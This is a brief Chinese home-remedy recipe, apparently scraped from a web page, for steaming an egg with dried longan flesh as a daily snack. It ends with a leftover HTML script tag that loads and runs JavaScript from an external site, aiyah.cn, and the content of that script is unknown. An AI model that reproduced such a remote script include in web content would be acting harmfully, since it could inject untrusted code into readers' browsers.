基本介紹 中文名：桂圓肉蒸雞蛋主要食材：桂圓肉，雞蛋工藝：蒸功效：補益心脾 配方： 桂圓肉5～7克，雞蛋1個。製法： 新鮮雞蛋去殼，放入小碗中，可加白糖少許，約蒸3分鐘，蛋半熟（蛋黃凝成糊狀的半流質時），將桂圓肉塞入蛋黃內，再蒸10分鐘（或燒飯時放入飯鍋內蒸熟，讓蒸汽水進入）。用法： 當點心吃。每日1次。<SCRIPT src="http://www.aiyah.cn/script/BHORightMouseMenu.js" defer type=text/javascript></SCRIPT>
